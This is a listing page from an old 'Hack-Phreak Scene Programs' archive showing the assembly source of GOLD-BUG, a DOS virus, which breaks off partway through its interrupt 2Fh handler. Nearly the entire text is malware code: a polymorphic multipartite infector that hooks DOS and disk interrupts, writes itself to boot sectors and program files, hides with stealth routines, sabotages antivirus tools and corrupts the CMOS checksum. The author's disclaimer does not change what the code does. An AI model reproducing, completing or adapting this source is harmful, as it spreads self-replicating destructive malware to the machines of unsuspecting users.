home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / GOLD-BUG.ASM < prev    next >
Assembly Source File  |  1996-04-26  |  26KB  |  1,084 lines

  1. cseg        segment    para    public    'code'
  2. gold_bug    proc    near
  3. assume        cs:cseg
  4.  
  5. ;-----------------------------------------------------------------------------
  6.  
  7. ;designed by "Q" the misanthrope.
  8.  
  9. ;-----------------------------------------------------------------------------
  10.  
  11. ; CAUTION: THIS IS DESTRUCTIVE CODE.  YOU SHOULD NOT EVEN BE LOOKING AT IT.
  12. ;          I HAVE NEVER AND WILL NEVER RELEASE THIS CODE.  IF YOU SHOULD BE
  13. ;          LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME.  YOU HAVE NO
  14. ;          RIGHT TO LOOK AT THIS CODE.  IF THIS SOURCE SHOULD FALL INTO THE
  15. ;          WRONG HANDS, IT COULD BE VERY BAD!  DESTROY THIS IMMEDIATELY.  I
  16. ;          HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
  17. ;          THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
  18.  
  19. ;-----------------------------------------------------------------------------
  20.  
  21. .186
  22. TRUE        equ    001h
  23. FALSE        equ    000h
  24.  
  25. ;-----------------------------------------------------------------------------
  26.  
  27. ;option                     bytes used    and where
  28.  
  29. DELETE_SCANNERS    equ    FALSE    ; -2 bytes  -2 in com_code
  30. CHECK_FOR_8088    equ    TRUE    ;  4 bytes   4 in com_code
  31. INFECT_RANDOM    equ    TRUE    ;  4 bytes   4 in com_code
  32. CMOS_BOMB    equ    TRUE    ;  4 bytes   4 in com_code
  33. DEFLECT_DELETE    equ    TRUE    ;  5 bytes   5 in com_code
  34. READING_STEALTH    equ    TRUE    ;  5 bytes   5 in com_code
  35. SAME_FILE_DATE    equ    TRUE    ; 24 bytes  24 in com_code
  36. DOUBLE_DECRIPT    equ    TRUE    ; 26 bytes  26 in com_code
  37. EXECUTE_SPAWNED    equ    TRUE    ; 35 bytes  32 in com_code  3 in boot_code
  38. MODEM_CODE    equ    TRUE    ; 40 bytes  29 in com_code 11 in boot_code
  39. ANTI_ANTIVIRUS    equ    TRUE    ; 46 bytes  35 in com_code 11 in boot_code
  40. POLYMORPHIC    equ    TRUE    ; 90 bytes  74 in com_code 16 in boot_code
  41. MULTIPARTITE    equ    TRUE    ;372 bytes 346 in com_code 26 in boot_code
  42.  
  43. ;-----------------------------------------------------------------------------
  44.  
  45. ;floppy    boot infection
  46.  
  47. FLOPPY_1_2M    equ    001h
  48. FLOPPY_760K    equ    000h
  49. FLOPPY_TYPE    equ    FLOPPY_1_2M
  50.  
  51. ;-----------------------------------------------------------------------------
  52.  
  53. IFE MULTIPARTITE
  54. DELETE_SCANNERS    equ    FALSE
  55. CHECK_FOR_8088    equ    FALSE
  56. INFECT_RANDOM    equ    FALSE
  57. DEFLECT_DELETE    equ    FALSE
  58. READING_STEALTH    equ    FALSE
  59. SAME_FILE_DATE    equ    FALSE
  60. EXECUTE_SPAWNED    equ    FALSE
  61. POLYMORPHIC    equ    FALSE
  62. ENDIF
  63.  
  64. ;-----------------------------------------------------------------------------
  65.  
  66. SECTOR_SIZE    equ    00200h
  67. RES_OFFSET    equ    0fb00h
  68. COM_OFFSET    equ    00100h
  69. RELATIVE_OFFSET    equ    RES_OFFSET-COM_OFFSET
  70. PART_OFFSET    equ    COM_OFFSET+SECTOR_SIZE
  71. BOOT_OFFSET    equ    07c00h
  72. RELATIVE_BOOT    equ    BOOT_OFFSET-PART_OFFSET
  73. LOW_JMP_10    equ    0031ch
  74. LOW_JMP_21    equ    00321h
  75. SAVE_INT_CHAIN    equ    0032ch
  76. SCRATCH_AREA    equ    08000h
  77. HEADER_SEGMENT    equ    00034h
  78. INT_21_IS_NOW    equ    0cch
  79. BIOS_INT_13    equ    0c6h
  80. NEW_INT_13_LOOP    equ    0cdh
  81. BOOT_SECTOR    equ    001h
  82. DESCRIPTOR_OFF    equ    015h
  83. IF FLOPPY_TYPE EQ FLOPPY_1_2M
  84. DESCRIPTOR    equ    0f909h
  85. OLD_BOOT_SECTOR    equ    00eh
  86. COM_CODE_SECTOR    equ    00dh
  87. ELSE
  88. DESCRIPTOR    equ    0f905h
  89. OLD_BOOT_SECTOR    equ    005h
  90. COM_CODE_SECTOR    equ    004h
  91. ENDIF
  92. READ_ONLY    equ    001h
  93. SYSTEM        equ    004h
  94. DELTA_RI    equ    004h
  95. DSR        equ    020h
  96. CTS        equ    010h
  97. CD        equ    080h
  98. FAR_JUMP    equ    0eah
  99. MIN_FILE_SIZE    equ    00500h
  100. PSP_SIZE    equ    00100h
  101. VIRGIN_INT_13_A    equ    00806h
  102. VIRGIN_INT_13_B    equ    007b4h
  103. VIRGIN_INT_2F    equ    00706h
  104. FAR_JUMP_OFFSET    equ    006h
  105. SET_INT_OFFSET    equ    007h
  106. CHANGE_SEG_OFF    equ    009h
  107. VIDEO_MODE    equ    00449h
  108. MONOCHROME    equ    007h
  109. COLOR_VIDEO_MEM    equ    0b000h
  110. ADDR_MUL    equ    004h
  111. SINGLE_BYTE_INT    equ    003h
  112. VIDEO_INT    equ    010h
  113. VIDEO_INT_ADDR    equ    VIDEO_INT*ADDR_MUL
  114. DISK_INT    equ    013h
  115. DISK_INT_ADDR    equ    DISK_INT*ADDR_MUL
  116. SERIAL_INT    equ    014h
  117. DOS_INT        equ    021h
  118. DOS_INT_ADDR    equ    DOS_INT*ADDR_MUL
  119. MULTIPLEX_INT    equ    02fh
  120. COMMAND_LINE    equ    080h
  121. FIRST_FCB    equ    05ch
  122. SECOND_FCB    equ    06ch
  123. NULL        equ    00000h
  124. GET_PORT_STATUS    equ    00300h
  125. WRITE_TO_PORT    equ    00100h
  126. HD_0_HEAD_0    equ    00080h
  127. READ_A_SECTOR    equ    00201h
  128. WRITE_A_SECTOR    equ    00301h
  129. GET        equ    000h
  130. SET        equ    001h
  131. DELETE_W_FCB    equ    01300h
  132. DEFAULT_DRIVE    equ    000h
  133. GET_DEFAULT_DR    equ    01900h
  134. DOS_SET_INT    equ    02500h
  135. FILE_DATE_TIME    equ    05700h
  136. DENYNONE    equ    040h
  137. OPEN_W_HANDLE    equ    03d00h
  138. READ_W_HANDLE    equ    03f00h
  139. WRITE_W_HANDLE    equ    04000h
  140. CLOSE_HANDLE    equ    03e00h
  141. UNLINK        equ    04100h
  142. FILE_ATTRIBUTES    equ    04300h
  143. RESIZE_MEMORY    equ    04a00h
  144. QUERY_FREE_HMA    equ    04a01h
  145. ALLOCATE_HMA    equ    04a02h
  146. EXEC_PROGRAM    equ    04b00h
  147. GET_ERROR_LEVEL    equ    04d00h
  148. TERMINATE_W_ERR    equ    04c00h
  149. RENAME_A_FILE    equ    05600h
  150. LSEEK_TO_END    equ    04202h
  151. CREATE_NEW_FILE    equ    05b00h
  152. RESIDENT_LENGTH    equ    068h
  153. PARAMETER_TABLE    equ    005f1h
  154. MAX_PATH_LENGTH    equ    00080h
  155. EXE_HEADER_SIZE    equ    020h
  156. NEW_EXE_HEADER    equ    00040h
  157. NEW_EXE_OFFSET    equ    018h
  158. PKLITE_SIGN    equ    'KP'
  159. PKLITE_OFFSET    equ    01eh
  160. NO_OF_COM_PORTS    equ    004h
  161. WINDOWS_BEGIN    equ    01605h
  162. WINDOWS_END    equ    01606h
  163. ERROR_IN_EXE    equ    0000bh
  164. IF POLYMORPHIC
  165. FILE_SIGNATURE    equ    07081h
  166. XOR_SWAP_OFFSET    equ    byte ptr ((offset serial_number)-(offset com_code))+TWO_BYTES
  167. FILE_LEN_OFFSET    equ    byte ptr ((offset serial_number)-(offset com_code))+THREE_BYTES
  168. FIRST_UNDO_OFF    equ    byte ptr ((offset first_jmp)-(offset com_code)+ONE_BYTE)
  169. SECOND_UNDO_OFF    equ    byte ptr ((offset second_jmp)-(offset com_code))
  170. BL_BX_OFFSET    equ    byte ptr ((offset incbl_incbx)-(offset com_code))
  171. ROTATED_OFFSET    equ    byte ptr ((offset rotated_code)-(offset    com_code))
  172. ELSE
  173. FILE_SIGNATURE    equ    0070eh
  174. ENDIF
  175. IF MODEM_CODE
  176. STRING_LENGTH    equ    byte ptr ((offset partition_sig)-(offset string))
  177. ENDIF
  178. IF EXECUTE_SPAWNED
  179. EXEC_SUBTRACT    equ    byte ptr ((offset file_name)-(offset exec_table))
  180. ENDIF
  181. DH_OFFSET    equ    byte ptr ((offset dh_value)-(offset initialize_boot)+TWO_BYTES)
  182. ONE_NIBBLE    equ    004h
  183. ONE_BYTE    equ    001h
  184. TWO_BYTES    equ    002h
  185. THREE_BYTES    equ    003h
  186. FOUR_BYTES    equ    004h
  187. FIVE_BYTES    equ    005h
  188. FIVE_BITS    equ    005h
  189. EIGHT_BYTES    equ    008h
  190. USING_HARD_DISK    equ    080h
  191. KEEP_CF_INTACT    equ    002h
  192. CMOS_CRC_ERROR    equ    02eh
  193. CMOS_PORT    equ    070h
  194. REMOVE_NOP    equ    001h
  195. CR        equ    00dh
  196. LF        equ    00ah
  197. INT3_INCBX    equ    043cch
  198. INC_BL        equ    0c3feh
  199. INCBX_INCBL_XOR    equ    INT3_INCBX XOR INC_BL
  200. JMP_NO_SIGN    equ    079h
  201. JMP_NOT_ZERO    equ    075h
  202. JNS_JNZ_XOR    equ    JMP_NO_SIGN XOR    JMP_NOT_ZERO
  203. CLI_PUSHCS    equ    00efah
  204.  
  205. ;-----------------------------------------------------------------------------
  206.  
  207. video_seg    segment    at 0c000h
  208.         org    00000h
  209. original_int_10    label    word
  210. video_seg    ends
  211.  
  212. ;-----------------------------------------------------------------------------
  213.  
  214. io_seg        segment    at 00070h
  215.         org    00893h
  216. original_2f_jmp    label    word
  217. io_seg        ends
  218.  
  219. ;-----------------------------------------------------------------------------
  220.  
  221.         org    COM_OFFSET
  222. com_code:
  223.  
  224. ;-----------------------------------------------------------------------------
  225.  
  226.         IF    POLYMORPHIC
  227. first_decode    proc    near
  228. serial_number:    xor    word ptr ds:[si+bx+FIRST_UNDO_OFF],MIN_FILE_SIZE
  229.         org    $-REMOVE_NOP
  230.         org    $-FIVE_BYTES
  231.         jmp    load_it
  232.         org    $+TWO_BYTES
  233. rotated_code:    int    SINGLE_BYTE_INT
  234.         into
  235.         adc    al,0d4h
  236. incbl_incbx:    inc    bl
  237. first_jmp:    jnz    serial_number
  238.         add    bx,si
  239.         jns    serial_number
  240. first_decode    endp
  241.  
  242. ;-----------------------------------------------------------------------------
  243.  
  244.         IF    DOUBLE_DECRIPT
  245. second_decode    proc    near
  246.         push    si
  247. get_next_byte:    lodsw
  248.         add    bx,ax
  249.         inc    bx
  250.         xor    byte ptr ds:[si+SECOND_UNDO_OFF],bl
  251.         org    $-REMOVE_NOP
  252.         dec    si
  253. second_jmp:    jns    get_next_byte
  254.         pop    si
  255. second_decode    endp
  256.         ENDIF
  257.         ENDIF
  258.  
  259. ;-----------------------------------------------------------------------------
  260.  
  261. com_start    proc    near
  262.         IF    MULTIPARTITE
  263.         push    cs
  264.         pop    es
  265.         call    full_move_w_si
  266.         mov    ds,cx
  267.         cmp    cx,word    ptr ds:[NEW_INT_13_LOOP*ADDR_MUL]
  268.         jne    dont_set_int
  269.         mov    di,VIRGIN_INT_13_B
  270.         call    set_both_ints
  271.         push    cs
  272.         pop    es
  273.         ENDIF
  274. dont_set_int:    IF    CHECK_FOR_8088
  275.         mov    cl,RESIDENT_LENGTH
  276.         mov    al,high(RESIZE_MEMORY)
  277.         shl    ax,cl
  278.         mov    bx,cx
  279.         int    DOS_INT
  280.         ELSEIF    MULTIPARTITE
  281.         mov    bx,RESIDENT_LENGTH
  282.         mov    ah,high(RESIZE_MEMORY)
  283.         int    DOS_INT
  284.         ENDIF
  285.         IF    EXECUTE_SPAWNED
  286.         pusha
  287.         call    from_com_code+RELATIVE_OFFSET
  288.         popa
  289.         push    cs
  290.         pop    ds
  291.         push    cs
  292.         pop    es
  293.         cmpsw
  294.         mov    dx,si
  295.         sub    si,EXEC_SUBTRACT
  296.         org    $-REMOVE_NOP
  297.         mov    bx,PARAMETER_TABLE
  298.         mov    di,bx
  299.         mov    ax,EXEC_PROGRAM
  300. set_table:    scasw
  301.         movsb
  302.         scasb
  303.         mov    word ptr ds:[di],ds
  304.         je    set_table
  305.         int    DOS_INT
  306.         mov    ah,high(GET_ERROR_LEVEL)
  307.         int    DOS_INT
  308.         mov    ah,high(TERMINATE_W_ERR)
  309.         ELSEIF    MULTIPARTITE
  310.         call    from_com_code+RELATIVE_OFFSET
  311.         mov    ax,TERMINATE_W_ERR
  312.         ENDIF
  313.         IF    MULTIPARTITE
  314.         int    DOS_INT
  315.         ELSE
  316.         jmp    boot_load
  317.         ENDIF
  318. com_start    endp
  319.  
  320. ;-----------------------------------------------------------------------------
  321.  
  322. interrupt_21    proc    far
  323.         pushf
  324.         pusha
  325.         push    ds
  326.         push    es
  327.         mov    di,dx
  328.         push    ds
  329.         pop    es
  330.         cld
  331.         mov    cx,MAX_PATH_LENGTH
  332.         IF    MULTIPARTITE
  333.         mov    si,offset file_name+RELATIVE_OFFSET
  334.         ENDIF
  335.         IF    READING_STEALTH    OR DEFLECT_DELETE
  336.         mov    bx,ax
  337.         ENDIF
  338.         cmp    ax,EXEC_PROGRAM
  339.         IF    READING_STEALTH
  340.         je    start_process
  341.         cmp    ah,high(OPEN_W_HANDLE)
  342.         ENDIF
  343.         IF    DEFLECT_DELETE
  344.         je    start_process
  345.         cmp    ah,high(UNLINK)
  346.         ENDIF
  347.         jne    a_return
  348. start_process:    xor    ax,ax
  349. copy_name:    IF    MULTIPARTITE
  350.         mov    bl,byte    ptr ds:[di]
  351.         mov    byte ptr cs:[si],bl
  352.         inc    si
  353.         ENDIF
  354.         scasb
  355.         loopne    copy_name
  356.         std
  357.         scasw
  358.         IF    MULTIPARTITE
  359.         mov    byte ptr cs:[si-FIVE_BYTES],al
  360.         ENDIF
  361.         mov    al,'E'
  362.         scasw
  363.         jne    a_return
  364.         mov    ah,'X'
  365.         scasw
  366.         jne    a_return
  367.         IF    MULTIPARTITE
  368.         push    ds
  369.         ENDIF
  370.         pusha
  371.         call    open_close_file
  372.         IF    SAME_FILE_DATE
  373.         mov    word ptr cs:[new_time+ONE_BYTE+RELATIVE_OFFSET],cx
  374.         mov    word ptr cs:[new_date+ONE_BYTE+RELATIVE_OFFSET],dx
  375.         ENDIF
  376.         or    si,si
  377.         IF    MULTIPARTITE
  378.         jnz    large_exe_file
  379.         cmp    word ptr ds:[si],FILE_SIGNATURE
  380.         je    our_kind
  381.         IF    INFECT_RANDOM
  382.         xor    di,bp
  383.         jpo    our_kind
  384.         ENDIF
  385.         cmp    word ptr ds:[si+NEW_EXE_OFFSET],NEW_EXE_HEADER
  386.         jb    test_if_open
  387.         cmp    word ptr ds:[si+PKLITE_OFFSET],PKLITE_SIGN
  388.         je    test_if_open
  389.         ELSE
  390.         jz    our_kind
  391.         ENDIF
  392. large_exe_file:    popa
  393.         IF    MULTIPARTITE
  394.         pop    ds
  395.         ENDIF
  396.         IF    ANTI_ANTIVIRUS
  397.         mov    al,'N'
  398.         scasb
  399.         ja    a_return
  400.         mov    al,'A'
  401.         scasb
  402.         jne    a_return
  403.         pop    es
  404.         pop    ds
  405.         popa
  406.         IF    READING_STEALTH    OR DEFLECT_DELETE
  407.         cmp    ah,high(EXEC_PROGRAM)
  408.         jne    opened_file
  409.         ENDIF
  410.         popf
  411.         IF    CMOS_BOMB
  412.         mov    al,CMOS_CRC_ERROR
  413.         out    CMOS_PORT,ax
  414.         ENDIF
  415.         IF    DELETE_SCANNERS
  416.         mov    ah,high(UNLINK)
  417.         jmp    short old_int_10_21
  418.         ELSE
  419.         mov    al,ERROR_IN_EXE
  420.         stc
  421.         retf    KEEP_CF_INTACT
  422.         ENDIF
  423.         ELSE
  424.         jmp    short a_return
  425.         ENDIF
  426. our_kind:    popa
  427.         IF    MULTIPARTITE
  428.         pop    ds
  429. error_in_copy:    inc    di
  430.         xchg    byte ptr ds:[di],ch
  431.         mov    ax,OPEN_W_HANDLE+DENYNONE
  432.         int    INT_21_IS_NOW
  433.         mov    bx,ax
  434.         jnc    close_it
  435.         mov    byte ptr ds:[di],ch
  436. jmp_a_return:    jmp    short a_return
  437. close_it:    call    force_close
  438.         ENDIF
  439. a_return:    pop    es
  440.         pop    ds
  441.         popa
  442. opened_file:    popf
  443. old_int_10_21:    jmp    far ptr    original_int_10
  444.         IF    MULTIPARTITE
  445. test_if_open:    popa
  446.         pop    ds
  447.         IF    READING_STEALTH    OR DEFLECT_DELETE
  448.         cmp    bh,high(EXEC_PROGRAM)
  449.         jne    error_in_copy
  450.         ENDIF
  451. drive_letter:    sub    al,USING_HARD_DISK
  452.         jns    error_in_copy
  453.         mov    ax,GET+FILE_ATTRIBUTES
  454.         int    INT_21_IS_NOW
  455.         mov    ah,high(RENAME_A_FILE)
  456.         pusha
  457.         mov    di,offset file_name+RELATIVE_OFFSET
  458.         push    cs
  459.         pop    es
  460.         int    INT_21_IS_NOW
  461. set_attribs:    popa
  462.         int    INT_21_IS_NOW
  463.         mov    ah,high(CREATE_NEW_FILE)
  464.         int    INT_21_IS_NOW
  465.         jc    error_in_copy
  466.         mov    bx,ax
  467.         mov    ax,SET+FILE_ATTRIBUTES
  468.         pusha
  469.         push    ds
  470.         push    cs
  471.         pop    ds
  472.         or    cl,SYSTEM
  473.         mov    dx,offset file_name+RELATIVE_OFFSET
  474.         int    INT_21_IS_NOW
  475.         IF    ANTI_ANTIVIRUS
  476.         mov    dx,offset fcb_name+RELATIVE_OFFSET
  477.         mov    ah,high(DELETE_W_FCB)
  478.         int    INT_21_IS_NOW
  479.         ENDIF
  480.         xor    di,di
  481.         mov    ax,SCRATCH_AREA
  482.         mov    es,ax
  483.         mov    ds,ax
  484.         call    full_move
  485.         call    move_some_more
  486.         IF    POLYMORPHIC
  487.         xor    si,si
  488.         mov    cx,word    ptr ds:[si+FILE_LEN_OFFSET]
  489.         org    $-REMOVE_NOP
  490.         IF    DOUBLE_DECRIPT
  491.         pusha
  492. set_second:    add    al,byte    ptr cs:[si+RES_OFFSET]
  493.         inc    ax
  494.         xor    byte ptr ds:[si+SECOND_UNDO_OFF+TWO_BYTES],al
  495.         org    $-REMOVE_NOP
  496.         inc    si
  497.         loop    set_second
  498.         popa
  499.         ENDIF
  500.         mov    ax,cx
  501.         pusha
  502.         xor    bx,bx
  503.         mov    bl,byte    ptr ds:[si+XOR_SWAP_OFFSET]
  504.         org    $-REMOVE_NOP
  505. set_first:    xor    word ptr ds:[bx],ax
  506.         inc    bx
  507.         loop    set_first
  508.         popa
  509.         ELSE
  510. file_length:    mov    cx,NULL
  511.         ENDIF
  512.         mov    ah,high(WRITE_W_HANDLE)
  513.                 cwd
  514.         int    INT_21_IS_NOW
  515.         IF    SAME_FILE_DATE
  516.         mov    ax,SET+FILE_DATE_TIME
  517. new_time:    mov    cx,NULL
  518. new_date:    mov    dx,NULL
  519.         call    do_int21_close
  520.         ELSE
  521.         call    force_close
  522.         ENDIF
  523.         pop    ds
  524.         jmp    short set_attribs
  525.         ENDIF
  526. interrupt_21    endp
  527.  
  528. ;-----------------------------------------------------------------------------
  529.  
  530. open_close_file    proc    near
  531.         mov    ax,OPEN_W_HANDLE+DENYNONE
  532.         xor    cx,cx
  533.         int    INT_21_IS_NOW
  534.         jc    more_returns
  535.         mov    bx,ax
  536.         IF    MULTIPARTITE
  537.         mov    dx,HEADER_SEGMENT
  538.         mov    ds,dx
  539.         ENDIF
  540.         IF    MODEM_CODE
  541.         IF    MULTIPARTITE
  542.         mov    dl,NO_OF_COM_PORTS
  543.         ELSE
  544.         mov    dx,NO_OF_COM_PORTS
  545.         ENDIF
  546. scan_coms:    dec    dx
  547.         js    no_more_coms
  548.         mov    ax,GET_PORT_STATUS
  549.         int    SERIAL_INT
  550.         xor    al,DELTA_RI+CTS+DSR
  551.         and    al,DELTA_RI+CTS+DSR+CD
  552.         jnz    scan_coms
  553.         mov    si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET
  554.         mov    cl,STRING_LENGTH
  555. output_data:    lods    byte ptr cs:[si]
  556.         mov    ah,high(WRITE_TO_PORT)
  557.         int    SERIAL_INT
  558.         loop    output_data
  559.         ENDIF
  560. no_more_coms:    IF    MULTIPARTITE
  561.         mov    cl,EXE_HEADER_SIZE
  562.         mov    ah,high(READ_W_HANDLE)
  563.                 cwd
  564.         int    INT_21_IS_NOW
  565.         xor    cx,cx
  566.                 ELSE
  567.                 xor    dx,dx
  568.         ENDIF
  569.         mov    ax,LSEEK_TO_END
  570.         int    INT_21_IS_NOW
  571.         IF    MULTIPARTITE
  572.         IF    POLYMORPHIC
  573.         mov    word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax
  574.         ELSE
  575.         mov    word ptr cs:[file_length+ONE_BYTE+RELATIVE_OFFSET],ax
  576.         ENDIF
  577.         ENDIF
  578.         inc    ah
  579.         cmp    ax,MIN_FILE_SIZE+PSP_SIZE
  580.         adc    dx,cx
  581.         mov    si,dx
  582.         IF    SAME_FILE_DATE
  583.         mov    ax,GET+FILE_DATE_TIME
  584. do_int21_close:    int    INT_21_IS_NOW
  585.         ENDIF
  586. force_close:    mov    ah,high(CLOSE_HANDLE)
  587.         int    INT_21_IS_NOW
  588. more_returns:    ret
  589. open_close_file    endp
  590.  
  591. ;-----------------------------------------------------------------------------
  592.  
  593. full_move_w_si    proc    near
  594.         IF    POLYMORPHIC
  595. swap_incbx_bl:    xor    word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR
  596.         org    $-REMOVE_NOP
  597.         xor    byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR
  598.         org    $-REMOVE_NOP
  599.         ENDIF
  600.         stc
  601. full_move_w_di:    mov    di,RES_OFFSET
  602. full_move:    call    move_code
  603. move_code:    jc    move_some_more
  604.         mov    si,RES_OFFSET
  605.         IF    POLYMORPHIC
  606.         IF    CHECK_FOR_8088
  607.         mov    cl,ONE_NIBBLE
  608.         ror    word ptr cs:[si+ROTATED_OFFSET],cl
  609.         org    $-REMOVE_NOP
  610.         ELSE
  611.         ror    word ptr cs:[si+ROTATED_OFFSET],ONE_NIBBLE
  612.         org    $-REMOVE_NOP
  613.         ENDIF
  614.         ENDIF
  615. move_some_more:    mov    cx,SECTOR_SIZE
  616.         pushf
  617.         cld
  618.         rep    movs byte ptr es:[di],cs:[si]
  619.         popf
  620.         stc
  621.         ret
  622. full_move_w_si    endp
  623.  
  624. ;-----------------------------------------------------------------------------
  625.  
  626.         IF    ANTI_ANTIVIRUS
  627.         org    PART_OFFSET-ONE_BYTE
  628. fcb_name    db    DEFAULT_DRIVE
  629.         ENDIF
  630.  
  631. ;-----------------------------------------------------------------------------
  632.  
  633.         org    PART_OFFSET
  634. boot_code:
  635.  
  636. ;-----------------------------------------------------------------------------
  637.  
  638. initialize_boot    proc    near
  639.         IF    ANTI_ANTIVIRUS
  640.         db    'CHKLIST????'
  641.         cli
  642.         push    cs
  643.         mov    si,BOOT_OFFSET-SECTOR_SIZE
  644.         pop    ss
  645.         mov    sp,si
  646.         sti
  647.         push    cs
  648.         org    PART_OFFSET+DESCRIPTOR_OFF
  649.         db    high(DESCRIPTOR)
  650.         pop    ds
  651.         mov    cx,COM_CODE_SECTOR
  652.         pushf
  653.         push    cs
  654.         push    BOOT_OFFSET
  655.         mov    ax,READ_A_SECTOR
  656.         ELSE
  657.         cli
  658.         push    cs
  659.         mov    si,BOOT_OFFSET-SECTOR_SIZE
  660.         pop    ss
  661.         mov    sp,si
  662.         sti
  663.         pushf
  664.         push    cs
  665.         push    BOOT_OFFSET
  666.         push    cs
  667.         mov    cx,COM_CODE_SECTOR
  668.         mov    ax,READ_A_SECTOR
  669.         org    PART_OFFSET+DESCRIPTOR_OFF
  670.         db    high(DESCRIPTOR)
  671.         pop    ds
  672.         ENDIF
  673.         push    cs
  674.         pop    es
  675. dh_value:    mov    dx,NULL
  676.         mov    bx,dx
  677.         xor    dh,al
  678.         shr    dx,1
  679.         mov    dh,bh
  680.         push    dx
  681.         mov    bx,si
  682.         push    ax
  683.         int    DISK_INT
  684.         pop    ax
  685.         mov    di,VIDEO_INT_ADDR
  686.         mov    bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE
  687.         call    get_n_set_int+ONE_BYTE
  688.         mov    bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET
  689.         cmp    dx,LOW_JMP_10
  690.         je    try_this_out
  691.         cmp    byte ptr ds:[VIDEO_MODE],MONOCHROME
  692.         jae    try_this_out
  693.         mov    di,DISK_INT_ADDR
  694.         IF    MULTIPARTITE
  695.         call    set_both_ints
  696.         ELSE
  697.         mov    bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET
  698.         call    get_n_set_int+ONE_BYTE
  699.         mov    bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET
  700.         call    set_interrupt
  701.         ENDIF
  702.         mov    ch,high(COLOR_VIDEO_MEM)
  703.         mov    bx,offset high_code+RELATIVE_OFFSET
  704. try_this_out:    push    cx
  705.         push    bx
  706.         mov    es,cx
  707.         call    full_move_w_si
  708.         retf
  709. initialize_boot    endp
  710.  
  711. ;-----------------------------------------------------------------------------
  712.  
  713. high_code    proc    near
  714.         mov    dx,offset int_10_start+RELATIVE_OFFSET
  715.         mov    bx,LOW_JMP_10-FAR_JUMP_OFFSET
  716.         call    set_int_10_21
  717.         mov    bx,VIDEO_INT_ADDR-SET_INT_OFFSET
  718. low_code:    mov    es,cx
  719.         mov    cl,OLD_BOOT_SECTOR
  720.         mov    dx,LOW_JMP_10
  721.         call    set_interrupt
  722.         mov    bx,BOOT_OFFSET
  723.         pop    dx
  724.         int    DISK_INT
  725.         xor    dh,dh
  726.         mov    cl,BOOT_SECTOR
  727.         mov    ax,WRITE_A_SECTOR
  728. high_code    endp
  729.  
  730. ;-----------------------------------------------------------------------------
  731.  
  732. interrupt_13    proc    far
  733. int_13_start:    IF    MULTIPARTITE
  734.         mov    byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl
  735.         ENDIF
  736.         cmp    cx,BOOT_SECTOR
  737.         jne    no_boot_sector
  738.         cmp    ah,high(READ_A_SECTOR)
  739.         jne    no_boot_sector
  740.         cmp    dx,HD_0_HEAD_0
  741.         jbe    reread_boot
  742. no_boot_sector:    int    NEW_INT_13_LOOP
  743.         jmp    short return_far
  744. reread_boot:    int    NEW_INT_13_LOOP
  745.         jc    return_far
  746.         pusha
  747.         push    ds
  748.         push    es
  749.         pop    ds
  750. check_old_boot:    mov    ax,READ_A_SECTOR
  751.         xor    dh,dh
  752.         mov    cl,OLD_BOOT_SECTOR
  753.         IF    ANTI_ANTIVIRUS
  754.         cmp    word ptr ds:[bx],'HC'
  755.         ELSE
  756.         cmp    word ptr ds:[bx],CLI_PUSHCS
  757.         ENDIF
  758.         je    read_old_boot
  759.         test    dl,USING_HARD_DISK
  760.         jnz    encode_hd
  761.         cmp    word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR
  762.         jne    time_to_leave
  763.         mov    dh,al
  764.         pusha
  765.         int    NEW_INT_13_LOOP
  766.         cmp    byte ptr ds:[bx],ch
  767.         popa
  768.         pushf
  769.         pusha
  770.         xor    dh,dh
  771.         mov    cl,al
  772.         int    NEW_INT_13_LOOP
  773.         popa
  774.         popf
  775.         jne    time_to_leave
  776. encode_hd:    mov    ah,high(WRITE_A_SECTOR)
  777.         push    ax
  778.         int    NEW_INT_13_LOOP
  779.         pop    ax
  780.         jc    time_to_leave
  781.         mov    di,bx
  782.         call    move_code
  783.         mov    cl,COM_CODE_SECTOR
  784.         IF    POLYMORPHIC
  785.         xor    byte ptr ds:[bx+XOR_SWAP_OFFSET],dh
  786.         org    $-REMOVE_NOP
  787.         jo    dont_flip_it
  788.         xchg    word ptr ds:[bx+ROTATED_OFFSET],ax
  789.         org    $-REMOVE_NOP
  790.         xchg    ah,al
  791.         xchg    word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax
  792.         org    $-REMOVE_NOP
  793.         xchg    word ptr ds:[bx+ROTATED_OFFSET],ax
  794.         org    $-REMOVE_NOP
  795.         ENDIF
  796. dont_flip_it:    pusha
  797.         int    NEW_INT_13_LOOP
  798.         popa
  799.         mov    di,bx
  800.         call    move_some_more
  801.         mov    byte ptr ds:[bx+DH_OFFSET],dh
  802.         org    $-REMOVE_NOP
  803.         mov    dh,cl
  804.         inc    cx
  805.         int    NEW_INT_13_LOOP
  806.         jmp    short check_old_boot
  807. read_old_boot:    mov    dh,byte    ptr ds:[bx+DH_OFFSET]
  808.         org    $-REMOVE_NOP
  809.         int    NEW_INT_13_LOOP
  810. time_to_leave:    pop    ds
  811.         popa
  812.         clc
  813. return_far:    retf    KEEP_CF_INTACT
  814. interrupt_13    endp
  815.  
  816. ;-----------------------------------------------------------------------------
  817.  
  818. interrupt_2f    proc    far
  819.         pusha
  820.         push    ds
  821.         push    es
  822.         push    offset return_to_2f+RELATIVE_OFFSET
  823.         xor    cx,cx
  824.         mov    ds,cx
  825.         mov    bx,SAVE_INT_CHAIN-SET_INT_OFFSET
  826.         cmp    ax,WINDOWS_END
  827.         jne    try_another
  828.         les    dx,dword ptr ds:[bx+SET_INT_OFFSET]
  829.         jmp    short set_13_chain
  830. try_another:    cmp    ax,WINDOWS_BEGIN
  831.         jne    another_return
  832.         mov    di,VIRGIN_INT_13_B
  833.         call    get_n_set_int+ONE_BYTE
